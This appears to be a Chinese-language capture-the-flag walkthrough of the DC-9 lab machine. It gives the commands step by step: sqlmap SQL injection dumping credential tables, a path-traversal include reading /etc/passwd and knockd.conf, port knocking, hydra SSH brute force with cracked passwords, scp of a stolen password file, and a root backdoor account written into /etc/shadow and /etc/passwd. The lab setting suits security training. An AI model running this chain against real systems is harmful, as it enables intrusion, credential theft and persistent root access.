DC-9

先扫描一下ip

发现ip是149

再扫一下端口

发现开放了80端口但是22端口疑似被过滤了

访问一下80端口

翻译:

欢迎访问 Example.com 员工详情页面
请从菜单中选择一个选项。

发现这页显示了很多员工信息

这里有一个搜索框

翻译:

搜索信息
你可通过名字或姓氏任意一种方式搜索。

最后是一个登录界面

我们在搜索框搜一下员工信息

发现可以搜到

用bp抓一下这个搜索包尝试一下sql注入

复制内容到文本文档里面

然后我们用sqlmap跑一下

sqlmap -r 1.txt -p search --dbs --batch

成功爆出数据库了

看一下users库里面的内容

sqlmap -r 1.txt -p search -D users --tables --batch

发现一个表

看一下字段

sqlmap -r 1.txt -p search -D users -T UserDetails --columns --batch

字段爆出来了我们看一下username和password的数据

sqlmap -r 1.txt -p search -D users -T UserDetails -C username,password --dump --batch

这是员工的账号和密码

我们把另一个库也爆一下看看

sqlmap -r 1.txt -p search -D Staff --tables --batch

发现这里也有一个用户表

看看

sqlmap -r 1.txt -p search -D Staff -T Users --columns --batch

看一下数据直接dump

sqlmap -r 1.txt -p search -D Staff -T Users --dump --batch

发现了admin的用户名和密码

密码是md5我们查一下

https://www.somd5.com/

密码是transorbital1

我们去刚刚的登录界面尝试登录一下

发现成功登录进来了

下面显示文件不存在

怀疑存在文件包含

先猜测参数为file试一试

http://192.168.59.149/welcome.php?file=../../../../../../../../../../../../../../../../etc/passwd

发现果然有文件包含

我们用whatweb扫一下指纹信息

发现是apache的尝试包含一下日志文件看看

发现不行

之前我们扫22端口时

22端口的状态是 filtered(被防火墙拦截而非关闭),说明存在某种端口访问控制机制。

我们可以尝试包含一下 knockd 配置文件

解释:

端口碰撞是一种通过在一组预先指定的端口上产生连接请求,从外部打开防火墙上的端口的方法。

一旦收到正确的连接请求序列,防火墙规则就会被动态修改,以允许发送连接请求的主机通过特定端口进行连接。

在Linux中称为 Knockd服务,该服务通过动态的添加iptables规则来隐藏系统开启的端口,使用自定义的一系列端口号来“敲门”,使系统开启需要访问的服务端口,才能对外访问。

不使用时,再使用自定义的端口号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。

端口碰撞的主要目的是防止攻击者通过进行端口扫描来扫描系统中潜在的可利用服务,因为除非攻击者发送正确的碰撞序列,否则受保护的端口将显示为关闭。

看看靶机有没有knockd 配置文件

http://192.168.59.149/welcome.php?file=../../../../../../../../../../../../../../../../etc/knockd.conf

发现了knockd配置文件,并且配置文件显示那么我们按照顺序就能打开22端口

我们安装一下敲门工具

apt install knockd -y

knock 192.168.59.149 7469 8475 9842

再次查看一下端口

可以看到22端口成功开放了

我们之前users库里面扫出来很多用户可以用九头蛇爆破一下那个用户可以ssh登录

把之前扫出来的数据保存到文本文档里面

先单个查询一下

sqlmap -r 1.txt -p search -D users -T UserDetails -C username --dump --batch

可以看到下面的保存路径把里面的数据导出来

cat /root/.local/share/sqlmap/output/192.168.59.149/dump/users/UserDetails.csv > user.txt

然后密码也是

sqlmap -r 1.txt -p search -D users -T UserDetails -C password --dump --batch

cat /root/.local/share/sqlmap/output/192.168.59.149/dump/users/UserDetails.csv > pass.txt

然后我们用九头蛇爆破一下ssh

hydra -L user.txt -P pass.txt ssh://192.168.59.149 -t 20

成功爆出3个用户

[22][ssh] host: 192.168.59.149   login: chandlerb   password: UrAG0D!
[22][ssh] host: 192.168.59.149   login: joeyt   password: Passw0rd
[22][ssh] host: 192.168.59.149   login: janitor   password: Ilovepeepee

登录一下

先进入第一个看一下

查看一下当前目录内容

发现没有内容

去home看看

可以看到很多用户

我们查看一下我们能登录的用户内容

发现我们没有权限看

sudo -l看一下

发现这个用户没有sudo可用命令

切换一下用户

查看一下家目录文件

发现是空的

sudo -l看一下

这个也没有

换一下个

这个也是

嗯~ o( ̄▽ ̄)o我们刚刚好像没有查看隐藏文件

看一下隐藏文件

果然有货了

再去看看其他用户的

哎发现咱们最后登录的这个用户多了一个目录

看看内容

发现里面有一个密码文本

看一下

我们用这新的密码去爆破一下之前的账户

把文件传过来

scp .secrets-for-putin/passwords-found-on-post-it-notes.txt root@192.168.59.135:~

爆一下

hydra -L user.txt -P /root/passwords-found-on-post-it-notes.txt ssh://192.168.59.149

好又爆出来一个新的账户密码

[22][ssh] host: 192.168.59.149   login: fredf   password: B4-Tru3-001
[22][ssh] host: 192.168.59.149   login: joeyt   password: Passw0rd

成功进来了

查看一下

跟之前的没有区别

sudo -l看一下

发现有一个root执行的文件

看一下内容

发现一堆乱码

往上翻一下

这一整坨乱七八糟的文字,是 PyInstaller 打包的程序运行崩溃时吐出来的错误日志

没啥用

去文件目录下看看

这一整堆文件,是 Python 脚本用 PyInstaller 编译、打包后生成的整套运行文件

我们可以去找找他原本的python脚本看看

find /opt/devstuff/ -type f -name "*.py" 2>/dev/null

发现了test.py文件

查看一下

解析一下

#!/usr/bin/python
# 指定用Python解释器运行这个脚本

import sys
# 导入系统模块,用来获取输入的命令行参数

# ======================================
# 核心判断:必须输入 2 个文件参数,否则报错退出
# ======================================
if len (sys.argv) != 3 :
    print ("Usage: python test.py read append")
    sys.exit (1)

# ======================================
# 参数正确:执行 读文件 → 追加写文件
# ======================================
else :
    # 打开【第一个参数指定的文件】,只读模式
    f = open(sys.argv[1], "r")
    # 把这个文件的所有内容读出来
    output = (f.read())

    # 打开【第二个参数指定的文件】,追加模式(不会覆盖原内容)
    f = open(sys.argv[2], "a")
    # 把刚才读的内容,写进这个文件里
    f.write(output)
    # 关闭文件
    f.close()

结合刚刚的sudo -l 我们可以 以 root 身份,读取系统任何文件,写入系统任何文件

我们可以创造一个root权限的账户

写入/etc/shadow + /etc/passwd

先生成 SHA-512 密码哈希

openssl passwd -6 123456

-6 = 使用 SHA512-Crypt 加密算法

这是 Linux 系统 /etc/passwd /etc/shadow 官方支持的标准加密格式

获得值:

$6$yTdMlsjxVmuUbEiS$BFcrfbQuL0jPd5JpIR9EvAeUYiFjBQtrAYoT3x3qNLgQWsX9oNeyKgp9Z6d1ec/wbYZjHqkEAFlHbiU9hw5l2.

写入 /etc/shadow

echo 'hacker:$6$yTdMlsjxVmuUbEiS$BFcrfbQuL0jPd5JpIR9EvAeUYiFjBQtrAYoT3x3qNLgQWsX9oNeyKgp9Z6d1ec/wbYZjHqkEAFlHbiU9hw5l2.:18259:0:99999:7:::' > /tmp/sh.txt
sudo /opt/devstuff/dist/test/test /tmp/sh.txt /etc/shadow

写入 /etc/passwd

echo 'hacker:x:0:0:hacker:/root:/bin/bash' > /tmp/pw.txt
sudo /opt/devstuff/dist/test/test /tmp/pw.txt /etc/passwd

切换用户获取 root shell

成功获得root

获取最终flag

通关!!!!

实际上之前那个找py文件时之前咱们可以先执行一下sudo的命令

可以发现他告诉我们要去读test.py

然后我们可以

find / -type f -name "test.py" 2>/dev/null

posted @ 2026-04-16 22:32  沐川儿  阅读(10)  评论(0)    收藏  举报